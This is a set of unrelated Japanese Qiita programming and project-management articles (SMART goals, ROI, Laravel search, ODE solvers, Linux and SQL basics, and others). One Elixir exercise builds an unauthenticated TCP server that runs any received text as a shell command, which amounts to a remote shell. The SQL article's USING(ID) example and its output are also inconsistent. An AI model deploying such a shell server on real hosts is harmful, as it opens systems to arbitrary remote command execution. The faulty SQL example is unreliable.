OmniAICreator/Qiita-1.07M huggingface dataset:
Googleプロジェクト管理：SMARTメソッド

# はじめに

わたしが [Google プロジェクト管理:プロフェッショナル認定証で得られた素晴らしい体験][google]を、要点をまとめ小さく分割して、わかりやすく簡潔に紹介していきます。

興味があれば、ぜひ ***"Google プロジェクト管理:プロフェッショナル認定証"*** を受講してみてください。

[google]: https://qiita.com/mapami/items/317ae776a2268fd54c8f

https://jp.coursera.org/professional-certificates/google-project-management

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/a1cc3407-8d1d-b37c-1d3a-50bf9ea5159f.png" width="800">

# SMARTメソッド

プロジェクトが成功するためには、目標が重要です。そして、成果物は目標に依存するため、目標をできるだけ明確にすることが得策です。

幸運なことに、私はSMARTメソッドを知っています。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/49412ee1-b8e1-d3c1-9570-6212ba524430.png" width="500">

# Specific：具体的であること

目標が具体的でないと、完了までにどれくらいの時間がかかるのか、達成できたのかどうかがわからなくなります。

例えば、「顧客サービスの応答時間を改善する」 という目標だけでは、あまり具体的ではありません。一般的に何を達成したいかはわかりますが、それ以外のことは書かれていません。レスポンスタイムを1％改善したら、それで十分なのでしょうか？5年後にようやくレスポンスタイムが上がったとして、それでいいのでしょうか？スタッフの半分だけがレスポンスタイムを向上させ、残りの半分は変わらないというのはどうでしょう。

次の質問のうち、少なくとも2つに答える必要があります。

- 何を達成したいのか？
- なぜ、その目標なのか？
- 具体的な理由、目的、または利益があるか？
- 誰が関わっているのか？
- 受け手は誰なのか？
- 従業員、顧客、地域社会全体か？
- そのゴールはどこに届けられるべきですか？
- 最後に、どの程度まで？

# Measurable：測定可能であること

次に、目標が達成されたかどうかを客観的に判断できる、測定可能な目標を設定することです。測定することは、人が進捗状況を把握するためだけでなく、モチベーションを維持するためのツールでもあるのです。

次の質問を問えばわかります。

- どのくらい、いくつ達成されたらどうわかるのか？

ほとんどの目標は、測定基準を用いて測定する必要があります。メトリクス、数字や数値のように何かを測るために使うもの。

例えば、

- 5キロメートルのレースを走ることが目標なら、キロメートル単位の距離が指標となります。
- オフィスグリーンでは、プロジェクトの目標は、収益を5％上げることです。この場合、収益が指標となります。


最後に、正確な指標を選択するために、ベンチマークや参照点を検討します。例えば、全体の目標が収益の増加であれば、昨年のデータをベンチマークとして、今年の収益をどのくらい増加させるかを決めることができます。昨年の収益が3％増加したのであれば、好景気の今年は5％増加するのが妥当な目標でしょう。

# Attainable：達成可能であること

その目標は

- 具体的で測定可能ですが、達成可能でしょうか？
- 測定基準に基づいて、合理的に達成できるでしょうか？

通常、成長を促すためには、少し挑戦的な目標が必要です。そうでなければ、何も変わらないのであれば、目標に意味がありません。 しかし、あまりに極端すぎると、到達することはできないでしょう。始める前から失敗してしまうのです。

# Relevant：適切であること

次に、それが適切かどうかを見てみましょう。

- この目標を達成しようとすることに意味があるのでしょうか？

その目標が他の目標、優先順位、価値観とどのように結びついているかを考えてみてください。その目標に価値があるかどうかを考えてみましょう。

- 必要な労力と利益が釣り合っているか？
- 組織の他のニーズや優先順位と合致しているか？

クライアント、プロジェクトチーム、そして最終的に製品を使用する人々に至るまで、全員がその目標が支持に値すると感じる必要があります。

また、時期についても検討しましょう。プロジェクトにかかる時間だけでなく、より大きな経済的・社会的背景が大きな影響を与える可能性があります。

- 今、プロジェクトを完了するための予算はあるかもしれませんが、その企業は、長期にわたってプロジェクトを維持できるでしょうか？
- 製品やサービスを提供した後、それを使い続けてくれる顧客はいるのか？

これらの質問に答えられるようになれば、プロジェクトの舵取りをするための明確な目標ができるはずです。

もし、まだプロジェクトのゴールに確信が持てない場合は、さらに掘り下げてみてください。疑問があれば、質問してもかまいません。プロジェクトのシニアステークホルダーや直属の上司がいれば、その人に懸念を伝えてください。上司は、あなたの懸念を払拭し、自信を持って前進できるようにしてくれるはずです。

# Time-bound:期限付きであること

プロジェクトが適切で、達成可能で、測定可能で、あなたとチームの集中力を持続させる具体的なものであることが確認できたら、チェックリストの最後の項目は、その目標が時間的制約を受けているかどうかを確認することです。

時間的制約があるということは、目標に期限があるということです。締め切りがあれば、進捗を確認することができます。そうでなければ、目標に到達できなかったり、着手すらできなかったりする可能性があります。そうでなければ、目標に到達できないか、あるいは始めることさえできないかもしれません。

時間というのは、指標として使うこともできるので、時間と指標は密接に関係しています。目標に時間軸を持たせることで、時間をかけてどれだけ達成しなければならないかを細分化することができます。例えば、年末までに収益を上げる必要がある場合、四半期ごと、月ごと、週ごとにどれだけ増やす必要があるのかを分解することができます。


# ゴールのサンプル

- 大量の顧客にオフィスプラントを提供する新サービスを展開することにより、年末までに収益を5％増加させる。
- 新たなマーケティング・販売戦略とウェブサイトの更新によりブランド認知度を高め、年末までにページビューを月間2千件増加させる。
- 新しいオペレーション＆トレーニング計画を実施することで、年末までに顧客維持率を10％向上させる。
【Laravel】検索機能を実装する（あいまい検索）

## Laravelを使って検索機能を実装していく
画像のような感じでキーワードを打ったら該当するレコードを結果として出すプログラムを書いていく。

![スクリーンショット 2023-01-11 8.52.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/589286/db7ce5b3-d2b0-8feb-ca99-c9b16476364a.png)


#### Controller
```
<?php

namespace App\Http\Controllers;

use App\Models\HowtoVideo;
use Illuminate\Http\Request;

class HowtoVideoController extends Controller
{
    public function index(Request $request) {

        $search = $request->input('search');
        // 検索しなかったとき降順で表示する
        $query = HowtoVideo::orderBy('created_at', 'desc');

        // ユーザーが検索をかけた場合(partもしくはmenuのキーワードであいまい検索をかける)
        if (isset($search)) {
            $query = HowtoVideo::where('menu', 'LIKE', "%${search}%")
            ->orwhere('part', 'LIKE', "%${search}%");
        }
        // 上記結果に加えpaginateをかける
        $howtovideos = $query->paginate(30);

        return view('howtovideos.index', compact('howtovideos', 'search'));
    }
}
```

- クエリビルダの曖昧検索を使って実装をする。今回の場合、menuもしくはpartでヒットをかけたいため、where句とorWhere句を使用してあげることでどちらかがヒットすることで検索がかかるようにしている。

#### View
```
<form>
    <input type="search" name="search" placeholder="キーワードを入力" aria-label="検索..." value="{{ $search }}">
    <input type="submit" value="検索">
</form>
```

- 今回は日付検索などではないため、`input type`箇所には`search`と記載する
- `value="{{ $search }}"`と記載してあげることで検索後に検索窓に入力したキーワードを残すことができる

以上
常微分方程式を解く

# はじめに
記事の対象者

* Pythonの記法がわかる人
* 常微分方程式を解きたい人

## 実行環境
* Python 3.10.9
* Matplotlib 3.6.2

# 原理
いろんな人が書いているので省略．

# Code

```Python
def func(x, y):
    return x * x - y

def func2(x):
    return x ** 2 - 2 * x + 2

def Euler(h, f, x, y):
    return x + h, y + h * f(x, y)

def Heun(h, f, x, y):
    _x = x + h
    k1 = h * f(x, y)
    k2 = h * f(x + h, y + k1)
    _y = y + 0.5 * (k1 + k2)
    return _x, _y

def RungeKutta(h, f, x, y):
    _x = x + h
    k1 = h * f(x, y)
    k2 = h * f(x + h / 2.0, y + k1 / 2.0)
    k3 = h * f(x + h / 2.0, y + k2 / 2.0)
    k4 = h * f(x + h, y + k3)
    _y = y + (k1 + 2 * (k2 + k3) + k4) / 6.0
    return _x, _y

def calc(method, name):
    h = 0.125
    x0 = 0
    y0 = 2
    xi, yi = method(h, func, x0, y0)
    print(name, "method")
    for i in range(1, 8+1):
        print("{} : {:0.6f} {:0.6f}, err = {:0.10f}".format(i, xi, yi, func2(xi) - yi))
        xi, yi = method(h, func, xi, yi)
    print()

if __name__ == "__main__":
    calc(Euler, "Euler")
    calc(Heun, "Heun")
    calc(RungeKutta, "Runge-Kutta")
```
【実験完了】UnityでAmiVoiceを試す⑥

ファイル参照の指定がUnityは非常に面倒くさい
ということが分かったので、音声入力のほうを先にしていきます。

https://qiita.com/nekomimi-daimao/items/511beae3d7902b8b2797

ありがたい先達の教え...！
今回は書き出しながら～はしないので、冒頭の以下の内容を元に
制作してみようと思います。

https://qiita.com/segur/items/6d7b140418ef9adf6e7c

https://github.com/deadlyfingers/UnityWav

しかしながら、上手く組み込めず・・・。
「録音」の部分と「ファイルの保存」が一緒になったスクリプトがないかを探します。

https://harukichi.hatenadiary.jp/entry/2020/11/23/135044

ありました。
早速いただきまして、さらに以下のサイトを参考に埋め込んでいきます。

http://twinklesmile.blog42.fc2.com/blog-entry-183.html

とりあえず、ファイルが生成されるかどうかだけをチェックしてみたところ
なんとかできました。
Editor上では見えないですけども、wavファイルをそのまま渡したいのでこれでよしとしたいところです。

![aa.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3009807/bb802ad0-b0ba-be4a-9161-d1e27038c672.png)

あとはこいつを呼出すればいける...はず（たぶん


https://twitter.com/hidaka_2022/status/1612802583567171587?s=20&t=ujzWEI3iVuzekwomPYqznw

できました。
動画はQuest2での撮影となります。

## 今回の実験結果
①Amivoiceのサンプルコード（C#）を元に改変
②マイクロフォンで録音し、wavで保存（ここが一番大変だった）
③通信状況に応じて重いので、５ｓだけ録音に設定してDone

動画では消さなかったんですが、どうやらQuest2も通常のAndroid端末と同じように
ストレージと書かれたところに保存されるようです。
いい勉強になりました...。

流石に少しゆっくりします、はい・・・。
『debian linux』でサーバーのシステム時間とハードウェアクロックの時間を暫定的にセットする。　

## 目的
止む得ない場合に時間を隣やポートが開いているのwebサーバから取得し設定する。
## 方法
* システム標準ツールのみで動作する。
* http,httpsの通信で取得する。
## 使用するツール
* perl
* wget
* date
* hwclock
※debianlinux10では標準に入っている。
## 処理フロー
1. "wget"でhttpのresponse内の時間を取得する。
```
HTTP request sent, awaiting response...
  HTTP/1.1 301 Moved Permanently
  Location: http://www.google.com/
  (...省略...)
  Date: Tue, 10 Jan 2023 23:04:55 GMT
```
2. "perl"で日付フォーマットを処理しコマンドパラメータフォーマットに変換する。
3. "date"で日付をセットする。(epoch時間を使用)
```
/usr/bin/date -d '@1673390556'
```
4. "hwclock"で日付をセットする。
```
/sbin/hwclock --set --date "11 Jan 2023 08:17:30"
```

## コード
```
#!/usr/bin/env perl

use strict;
use utf8;
use warnings;
use Time::Piece;

my @url_a = ("http://www.google.com","http://www.yahoo.co.jp");

#regex for date in response header;
my $date_re = "Date\: [a-zA-Z]*, ([0-9]{2}) ([a-zA-Z]*) ([0-9]{4}) *([0-9]{2})\:([0-9]{2})\:([0-9]{2})";

sub get_date_fmt_str_f($){
  my $url_s = shift;
  #Change wget output from "stderr" to "stdout". with option "-o - ";
  my $result_s = `/usr/bin/wget -o - -S --spider $url_s 2>/dev/null`;
  if ( $result_s =~ m/$date_re/ ){
    #my ($day,$mon,$year,$hour,$min,$sec) = ($1,$2,$3,$4,$5,$6);
    return "$3 $2 $1 $4:$5:$6";
  }
  return "";
}

#set hardware clock;
sub set_hwclock_f($){
  my $gt = shift;
  my $lt = localtime($gt->epoch);
  my $hwclock_s = $lt->strftime("%d %b %G %H:%M:%S");
  #print '#/sbin/hwclock --set --date "11 Jan 2023 08:17:30"' . "\r\n";
  my $hwclock_e = '/sbin/hwclock --set --date "' . $hwclock_s . '"';
  print $hwclock_e . "\r\n";
  #exec $hwclock_e;
  `$hwclock_e`;
}

#set software clock;
sub set_date_f($){
  my $gt = shift;
  my $date_e = "/usr/bin/date -s '@" . $gt->epoch . "'";
  #print "#/usr/bin/date -d '@1673390556'r\n";
  print $date_e . "\r\n";
  #exec $date_e;
  `$date_e`;
}

foreach my $url_s ( @url_a ) {
  my $ts = &get_date_fmt_str_f($url_s);
  if( $ts ne "" ){
    my $gt = Time::Piece->strptime($ts, '%Y %b %d %H:%M:%S');
    &set_hwclock_f($gt);
    &set_date_f($gt);
    exit(0);
  }
}

```
確認を行う場合は以下の行をコメントアウトします。
```
  `$hwclock_e`;
```
```
  `$date_e`;
```

※UTCからlocaltimeの変換は必要に応じて調整をお願いします。
※止むを得ない場合にご使用しますので、ご使用には十分な注意をお願いいたします。
Googleプロジェクト管理：プロジェクトゴールと成果物を定義する

# はじめに

わたしが [Google プロジェクト管理:プロフェッショナル認定証で得られた素晴らしい体験][google]を、要点をまとめ小さく分割して、わかりやすく簡潔に紹介していきます。

興味があれば、ぜひ ***"Google プロジェクト管理:プロフェッショナル認定証"*** を受講してみてください。

[google]: https://qiita.com/mapami/items/317ae776a2268fd54c8f

https://jp.coursera.org/professional-certificates/google-project-management

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/a1cc3407-8d1d-b37c-1d3a-50bf9ea5159f.png" width="800">

# プロジェクトゴールを定義する

プロジェクトゴールとは、プロジェクトの望ましい成果です。

目標が重要なのは、目的地までのロードマップを与えてくれるからです。明確な目標がなければ、どこに行けばいいのか、どうやってそこに行くのか、わからないでしょう？良い目標とそうでない目標の大きな違いは、***<font color="MediumBlue">その目標がどれだけ明確に定義されているか</font>*** ということです。

例えば、

- ***電子メールによる顧客からの問い合わせに対する応答時間を20%改善する***
- ***ある新しいサービスを通じて、年末までに上位顧客に観葉植物を提供し、売上を5％増加させる***

明確な目標は、 ***<font color="MediumBlue">具体的で測定可能</font>*** です。

プロジェクトを始めるときは、目標を見直し、それが明確に定義されていることを確認する時間をとりましょう。そのためには、ステークホルダーからより多くの情報を得る必要があるかもしれません。あなたとステークホルダーは、後で問題に遭遇しないよう、プロジェクトの目標を支持することに同意する必要があります。

ここで、私がプロジェクトマネージャーとして経験した例を紹介しましょう。

私たちのチームは、新しい製品機能を完成させました。私たちの目標は、この機能の初期バージョンを提供し、ユーザーからのフィードバックを収集することでした。しかし、その機能をある重要な顧客にフィードバックするために納品したところ、その顧客にはその機能を試せる人がいませんでした。ユーザーからのフィードバックを得られなかった場合、目標を達成したことになるのかどうか、チーム内で議論になりました。ある者は目標を達成できなかったと思い、ある者は達成できたと考えた。顧客は、私たちのチームが決められたスケジュールで機能を提供することに満足していました。しかし、社内のチームは、そのことについて何度も議論し、貴重な時間を浪費してしまいました。つまり、プロジェクトを始める前に、あなた、利害関係者、そしてチーム全員がプロジェクトの目標を明確にし、正しい方法で進捗していることを確認する必要があるのです。

# 成果物を定義する

目標が明確になったら、次はプロジェクトの成果物を検討します。

プロジェクトの成果物とは、顧客、クライアント、プロジェクト・スポンサーに対して作成される

- 製品
- サービス

のことです。言い換えれば、タスク、イベント、プロセスの最後に作成され、提示されるものが成果物です。

例えば、

- 顧客の応答時間を改善するという目標があったとする。その目標のための成果物は、***典型的な質問に応答するための電子メールテンプレートの作成***であるかもしれない。
- あるプロジェクトの目標は、収益を増加させることであり、***植物サービスの開始***と、***提供される新しい種類の植物を強調するWebサイトの完成***という2つの成果物が考えられます。

プロジェクトの成果物には、様々な例があります。よくあるのは、報告書です。目標に到達したとき、その結果がチャート、グラフ、プレゼンテーションに文書化されているのを目に見える形で見ることができます。

成果物は、プロジェクトのインパクトを数値化し、実感するのに役立つ。よく定義されたゴールが必要なのと同じように、よく定義された成果物もほとんど同じ理由で必要です。

成果物は通常、プロジェクトに関わるステークホルダーや顧客と一緒に前もって決めます。成果物は、プロジェクトに関わるすべての人に責任を持たせるものであり、通常、目標達成の大きな部分を占めます。成果物がどうあるべきかを質問し、全員が成果物に対するビジョンと期待を共有することで、全員が同じ考えを持つようにしましょう。
Linux基礎（学習用5)

●プロセス・実行中のプログラムのこと、コマンドを実行すると実行ファイルをメモリに格納してメモリ上でCPUがプログラムを実行する。一つ実行すると新しいプロセスが一つ作られる。（同じコマンドでも毎回メモリ領域が確保される）

・ps コマンド・・実行中のプロセスを表示するコマンド
（aux)全ユーザーのプロセスを、詳細情報を併せて表示

・q・・コマンドの終了

●ジョブ・・まとめて実行されるプロセスの集まりがジョブ。シェルごとに管理される

●ジョブとプロセスの違い・プロセスはOS全体で統一して管理。システムが自動で実行しているプログラムや他のユーザーが実行しているプログラムを一括して管理。ジョブはそのジョブを実行するシェルで管理される

●シェルの画面内でコマンドを実行することをフォアグラウンド、シェルの画面外で実行することをバックグラウンドという。

・jobs・現在のジョブの一覧を表示するコマンド
・fg　％<ジョブID>・ジョブをフォアグラウンドにするコマンド（ジョブをフォアグラウンドに戻して対話的に使用したい時）
・bg %<ジョブID>・ジョブをバックグラウンドにするコマンド（長い時間かかる処理に使い、コマンドが終了するのを待たなくていい）

・kill・ジョブやプロセスを終了させるコマンド
＊フォアグラウンドのジョブはコントロール＋Cで終了できる。停止中やバックグラウンドのジョブはkillコマンドで終了。
upLaTeX で数式と本文をゴシック体（サンセリフ体）にする方法

下のままです

```tex: main.tex
\documentclass[uplatex]{jsarticle} 
\usepackage{tgheros}
\usepackage[frenchmath]{newtxsf}
\renewcommand{\kanjifamilydefault}{\gtdefault}
\renewcommand{\familydefault}{\sfdefault}
\usepackage{mathastext}

\begin{document}

$$ x = \frac{-b \pm \sqrt{b^2 -4ac}}{2a} $$

このとき、解を$ \alpha, \beta $ とすると、
$ (x-\alpha)(x-\beta) $に因数分解できる。

\end{document}
```

![変換後の画像](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2986389/eb4dc04e-2925-eb33-6eb5-5d09a1d8ebd6.png "変換後の画像")

あるいは

```tex
\documentclass[uplatex]{jsarticle} 

\renewcommand{\kanjifamilydefault}{\gtdefault}
\renewcommand{\familydefault}{\sfdefault}
\usepackage{arevtext,arevmath}

\begin{document}

$$ x = \frac{-b \pm \sqrt{b^2 -4ac}}{2a} $$

このとき、解を$ \alpha, \beta $ とすると、
$ (x-\alpha)(x-\beta) $に因数分解できる。

\end{document}
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2986389/859a59f7-790e-c4d9-6ccb-10c93a86b265.png)


# 参考文献

https://tex.stackexchange.com/questions/77932/the-right-way-to-get-sans-serif-math
Googleプロジェクト管理：コストベネフィット分析

# はじめに

わたしが [Google プロジェクト管理:プロフェッショナル認定証で得られた素晴らしい体験][google]を、要点をまとめ小さく分割して、わかりやすく簡潔に紹介していきます。

興味があれば、ぜひ ***"Google プロジェクト管理:プロフェッショナル認定証"*** を受講してみてください。

[google]: https://qiita.com/mapami/items/317ae776a2268fd54c8f

https://jp.coursera.org/professional-certificates/google-project-management

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/a1cc3407-8d1d-b37c-1d3a-50bf9ea5159f.png" width="800">

# コストベネフィット分析とは

***<font color="MediumVioletRed">『コストベネフィット分析とは、プロジェクトの期待値を積算し、費用と比較するプロセスである。』</font>***

- コストベネフィット分析は、プロジェクトや組織のリスクを最小化し、利益を最大化することができます。
- また、ステークホルダーや経営陣と明確な意思疎通を図り、プロジェクトを軌道に乗せることができます。

:::note info
この種の分析では客観的なデータを使用するため、偏見をなくし、ステークホルダーの自己中心的な判断が意思決定に影響するのを防ぐことができます。
:::

プロジェクトの利益とコストを比較することで、ステークホルダーや経営陣に対して強力なビジネスケースを提示し、組織が最も収益性の高い、または有用なプロジェクトを追求できるようにします。組織は、コストベネフィット分析を用いて、無駄を省き、責任を持って資源を投資します。

# コストベネフィット分析のための質問

***<font color="MediumVioletRed">『プロジェクトを推進する際には、コストを上回るメリットが必要です。』</font>***

提案書を作成する段階で、次のような質問を検討することが重要です。

プロジェクトの利益を決定するために、次のような質問をすることができます。

- このプロジェクトはどのような価値を生み出すのか？
- このプロジェクトによって、私たちの組織はどれだけのお金を節約できるのか？
- このプロジェクトによって、既存の顧客からどれだけのお金がもたらされるだろうか？
- どれだけの時間を節約できるか？
- 顧客体験をどのように向上させるか？

そして、プロジェクトのコストを決定するために、次のような質問を考えてみてください。

- このプロジェクトにどれくらいの時間を割く必要があるのか？
- 1回限りのコストはどのくらいか？
- 継続的なコストは？
- 長期的なコストは？

また、無形の利益に関する質問も検討してみてください。これらは、次のような定量化できない利益です。

- <font color="MediumBlue">顧客満足度:</font> そのプロジェクトによって顧客維持が向上し、その顧客が会社の製品やサービスにもっとお金を使うようになるか？
- <font color="MediumBlue">従業員の満足度:</font> そのプロジェクトは、従業員の士気を高め、離職率を下げる可能性があるか？
- <font color="MediumBlue">従業員の生産性:</font> 従業員の残業時間を減らし、会社の経費削減につながるか？
- <font color="MediumBlue">ブランドの認知度:</font> そのプロジェクトは、会社のブランド認知度を向上させ、より多くの顧客を引き付け、競争上の優位性をもたらす可能性があるか？

#  コストベネフィット分析の計算方法

費用と効果を計算するプロセスは、投資収益率、またはROIの計算とも呼ばれます。プロジェクトのROIを決定する方法はたくさんありますが、最も簡単な方法は、初期費用と継続的な費用とその利益を長期的に比較することです。

一般的なROIの計算式の1つは

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/f31ae369-08ed-6235-53d9-178988deed11.png" width="700">


この式で、Gはプロジェクトから期待される経済的利益を表し、Cはプロジェクトに投資する際の初期費用と継続費用を表します。

例えば、プロジェクトの初期費用が6,000ドル、毎月25ドル、12ヶ月間かかるとします。これは年間300ドルに相当しますが、あなたはこのプロジェクトがその年の間に1万ドルの収益をもたらすと見積もっています。上記の式を使って、あなたはROIを次のように計算します。

(　$10,000 - $6,300　) ÷ $6,300 = 0.58 = 58%

ROIは0.58、つまり58%になります。あなたはこれを強力なROIと考え、このプロジェクトを推進することにしました。
wslでelixir その16

# 概要
wsl(wsl2じゃない)で、elixirやってみた。
練習問題やってみた。

# 練習問題
shell serverをiex -S mixで自動起動せよ。

# 方針
mix.exsをいじる。

# mix.exs

```
defmodule Rserver.MixProject do
  use Mix.Project

  def project do
    [
      app: :rserver,
      version: "0.1.0",
      elixir: "~> 1.13",
      start_permanent: Mix.env() == :prod,
	  escript: [main_module: Rserver],
      deps: deps()
    ]
  end

  # Run "mix help compile.app" to learn about applications.
  def application do
    [
		mod: {Rserver, []}, 
      extra_applications: [:logger]
    ]
  end

  # Run "mix help deps" to learn about dependencies.
  defp deps do
    [
      # {:dep_from_hexpm, "~> 0.3.0"},
      # {:dep_from_git, git: "https://github.com/elixir-lang/my_dep.git", tag: "0.1.0"}
    ]
  end
end

```

# サンプルコード

```
defmodule Rserver do
  @moduledoc """
  Documentation for `Rserver`.
  """

  @doc """
  Hello world.

  ## Examples

      iex> Rserver.hello()
      :world

  """
  def hello do
    :world
  end
	require Logger
	use GenServer
	@port 5300
	def start do
		GenServer.start(__MODULE__, %{socket: nil})
	end
	def init(state) do
		{:ok, socket} = :gen_tcp.listen(@port, [:binary, active: true])
		send(self(), :accept)
		Logger.info "Listenn port: #{@port}"
		{:ok, %{state | socket: socket}}
	end
	def handle_info(:accept, %{socket: socket} = state) do
		{:ok, _} = :gen_tcp.accept(socket)
		Logger.info "Connected"
		{:noreply, state}
	end
	def handle_info({:tcp, socket, data}, state) do
		Logger.info "Received: #{String.length(data)}"
		Logger.info data
		Logger.info "Send"
		{result, 0} = System.shell(data)
		:ok = :gen_tcp.send(socket, result)
		:gen_tcp.close(socket)
		send(self(), :accept)
		{:noreply, state}
	end
	def handle_info({:tcp_closed, _}, state) do
		Logger.info "Close"
		{:stop, :normal, state}
	end
	def handle_info({:tcp_error, _}, state) do
		Logger.info "Error"
		{:stop, :normal, state}
	end
	def run() do
		cmd = IO.gets "> "
		{:ok, socket} = :gen_tcp.connect('localhost', 5300, [:binary, active: false])
		:ok = :gen_tcp.send(socket, cmd)
		{:ok, data} = :gen_tcp.recv(socket, 0)
		data
		|> IO.puts
		run()
	end
	def main(args \\ "") do
		Rserver.start
		run()
	end
	def start(_type, _args) do
		main()
	end
end

```
# 実行結果
キー入力を受けつけない。
C#からは、つながる。

```
$ iex -S mix
Erlang/OTP 25 [erts-13.0.4] [source] [64-bit] [smp:2:2] [ds:2:2:10] [async-threads:1] [jit:ns]


07:09:52.106 [info]  Listenn port: 5300

07:10:19.656 [info]  Connected

07:10:24.770 [info]  Received: 3

07:10:24.771 [info]  pwd

07:10:24.772 [info]  Send
>
```

以上。
SQL 結合編

<h2>・結合とは</h2>
　SQLには複数のテーブルを結合させて、そのデータの取得または取得したデータを結合することができる。

<h2>・INNER JOIN</h2>
　INNER JOINとは内部結合のことで、２つのテーブルでカラムを指定してそれぞれのカラムに同じ値が格納されているデータを結合して取得するものである。

<h3>使うテーブル</h3

`スタッフテーブル`

|ID|名前|部署ID|
|:--|:--|:--|
|1|邦田さん|1|
|2|網代さん|3|
|3|雁切さん|2|
|4|錦木さん|3|
|5|吉田さん|7|
|6|蟹佐原さん|4|

`部署テーブル`

|部署ID|部署名|
|:--|:---|
|1|営業部|
|2|経理部|
|3|開発部|
|4|法務部|

<h3>・やりかた</h3>

`SELECT * FROM スタッフテーブル INNER JOIN 部署テーブル ON スタッフテーブル.部署ID = 部署テーブル.部署ID`
とすると

|ID|名前|部署ID|ID|部署名|
|:--|:--|:--|:--|:---|
|1|邦田さん|1|1|営業部|
|2|網代さん|3|3|開発部|
|3|雁切さん|2|2|経理部|
|4|錦木さん|3|3|開発部|
|6|蟹佐原さん|4|4|法務部|

とこのように２つのテーブルを結合させることができる。片方のテーブルにデータのないものは結合されない（今回の場合は、吉田さんは部署ID'7'を持っているが部署テーブルにはそのIDが存在しないため取り除かれている）

<h6>・結合するカラム名がテーブル間で同じ場合</h6>

`スタッフテーブル`

|ID|名前|部署ID|
|:--|:--|:--|
|1|邦田さん|1|
|2|網代さん|3|
|3|雁切さん|2|
|4|錦木さん|3|
|5|吉田さん|7|
|6|蟹佐原さん|4|


`部署テーブル`

|部署ID|名前|
|:--|:---|
|1|営業部|
|2|経理部|
|3|開発部|
|4|法務部|
|5|IT部|

上のような２つのテーブルが名前という同じカラム名を持っている場合は`USING`を使う。

`SELECT * FROM スタッフテーブル INNER JOIN 部署テーブル USING(ID)`

とすると

|部署ID|ID|名前|名前|
|:----|:--|:--|:---|
| 1 | 1 | 邦田さん | 営業部 |
| 3 | 2 | 網代さん | 開発部 |
| 2 | 3 | 雁切さん | 経理部 |
| 3 | 4 | 錦木さん | 開発部 |
| 4 | 6 | 蟹佐原さん | 法務部 |

となる。


<h5>・LEFT JOIN, RIGHT JOIN</h5>
　LEFT JOIN, RIGHT JOINとは外部結合の事で、内部結合とほとんど同じであるが、異なる点として<b>一致しないデータも取得する</b>。

<h6>・LEFT JOINの場合</h6>

`SELECT * FROM スタッフテーブル LEFT JOIN 部署テーブル ON スタッフテーブル.部署ID = 部署テーブル.部署ID `

|ID|名前|部署ID|ID|部署名|
|:--|:--|:--|:--|:---|
|1|邦田さん|1|1|営業部|
|2|網代さん|3|3|開発部|
|3|雁切さん|2|2|経理部|
|4|錦木さん|3|3|開発部|
|6|蟹佐原さん|4|4|法務部|
|5|吉田さん|7|NULL | NULL |

<h6>・RIGHT JOINの場合</h6>

`SELECT * FROM スタッフテーブル RIGHT JOIN 部署テーブル ON スタッフテーブル.部署ID = 部署テーブル.部署ID `

|ID|名前|部署ID|ID|部署名|
|:-|:---|:----|:--|:----|
|1|邦田さん|1|1|営業部|
|2|網代さん|3|3|開発部|
|3|雁切さん|2|2|経理部|
|4|錦木さん|3|3|開発部|
|6|蟹佐原さん|4|4|法務部|
|NULL|NULL|NULL|5|IT部|

<h5>・NATURAL</h5>
　NATURALとは自然結合のことで、同じ名前のカラムを結合する場合、NATURALをつけることによって結合条件を省略することができる。

<h5>・CROSS JOIN</h5>
　CROSS JOINとは、交差結合のことで、２つのテーブルのデータをすべて組み合わせることができる。

`SELECT * FROM スタッフテーブル CROSS JOIN 部署テーブル`

【参考】
JavaDrive
https://www.javadrive.jp/mysql/join/
Linux基礎（学習用）

●標準入出力・プログラムが、特に何も指定していない際に、利用するデータの標準的な入出力元
linuxではコマンドの入出力先を抽象化することで、入出力先を柔軟に変更できる

●リダイレクト・・入出力先を変更する機能
入力のリダイレクト・キーボードの代わりにファイルから入力する
出力のリダイレクト・コマンドの実行結果をファイルに保存する*特に重要
ex) ls > output.txt
エラー出力のリダイレクト・エラー出力は２>を用いる

●/dev/null・・入力先として指定しても何も返さずに、出力しようとしてもデータは消え何も表示されないスペシャルファイル

●パイプライン・・複数のコマンドを連携させる機能 コマンド｜コマンド

●パーミッション・ファイルの権限管理のこと(linuxは共同のコンピュータで用いられるため必須概念）

・ファイルにはすべて管理者（オーナー）とグループが設定されていて、権限管理されている
前提：linuxではユーザーごとにアカウントを発行する
(ls-l)コマンドでファイルのオーナーとグループが確認できる

・パーミッション・ファイルやディレクトリを誰がどのように操作できるのかを定めたもの
(ls-l)ファイルタイプ、オーナーの権限、グループの権限、その他のユーザーの権限

・chmod・ファイルやディレクトリのパーミッションを設定するコマンド。
chmod [u,g,o,a][+-=][rwx]<ファイル名>
chmod [8進数の数値]<ファイル名＞　chmod 755 <file>

・modの数字
r(読み取り）・４
w（書き込み）・２
x(実行）・１

・chown・ファイルやディレクトリの所有者を変更

●スーパーユーザー・管理者権限を持つ特別なユーザーがスーパーユーザー、システムの根幹に関わる作業
・コマンドの前にsudoをつけるとスーパーユーザーとして作業できる
・sudo <コマンド>

●スーパーユーザーに切り替える
・suコマンドを実行すると、ログイン中のユーザーをスーパーユーザー（root）に切り替えることができる。
・環境変数を引き継がずに指定ユーザーに切り替える
ハイフン「-」の後にユーザー名を入力することで、環境変数を引き継がずに指定ユーザーに切り替えられる。
$ su - hoge

・yum install パッケージをインストールしたい時に使えるコマンド

＊ファイル名やディレクトリ名には「*][!][?]といった記号やスペースは使うべきではない。

●tree・・ディレクトリの階層構造がツリー状に表示される

●catコマンドによるファイルへの出力

出力は標準出力なので、リダイレクト「>」を用いることで、別のファイルに出力内容を記述することもできる。

(HTML)
●リンクの作成
<a href="url">というように書き、url部分にリンク先のURLを指定することで、そのページへのリンクを作ることができる。

●画像の挿入
img src="url">のように、src属性のurlの部分に画像のリンクを指定することで、画像が表示される。

●属性
<head>要素にはページに関する情報、<body>要素には実際に表示したい内容を書く。
<head>要素の中では、以下のように①文字コードの指定、②ページのタイトルの設定、③CSSの読み込みなどを行う。

●横並び
